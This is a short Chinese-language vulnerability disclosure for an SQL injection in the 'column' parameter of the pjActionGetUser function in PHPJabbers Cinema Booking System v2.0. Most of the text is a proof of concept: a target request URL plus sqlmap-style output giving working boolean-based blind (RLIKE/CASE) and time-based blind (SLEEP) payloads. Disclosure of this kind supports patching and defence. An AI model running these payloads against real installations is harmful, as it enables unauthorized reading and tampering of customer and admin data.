PHPJabbers Cinema Booking System v2.0 的 pjActionGetUser 函数中存在一个 SQL 注入漏洞，允许攻击者通过 column 参数操纵数据库查询。利用该缺陷可导致未授权信息泄露、权限提升或数据库篡改。
漏洞参数：column
SQL 注入可导致未授权访问敏感信息、数据库篡改，甚至数据库服务器被完全攻陷。这对应用程序的机密性、完整性和可用性构成严重威胁。
对 URL 发起 GET 请求：http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionGetUser&column=*&&direction=ASC&page=1&rowCount=10
Parameter: #1* (URI)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionGetUser&column=name RLIKE (SELECT (CASE WHEN (7874=7874) THEN 0x6e616d65 ELSE 0x28 END))&direction=ASC&page=1&rowCount=10
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionGetUser&column=name AND (SELECT 6530 FROM (SELECT(SLEEP(5)))UFOj)&direction=ASC&page=1&rowCount=10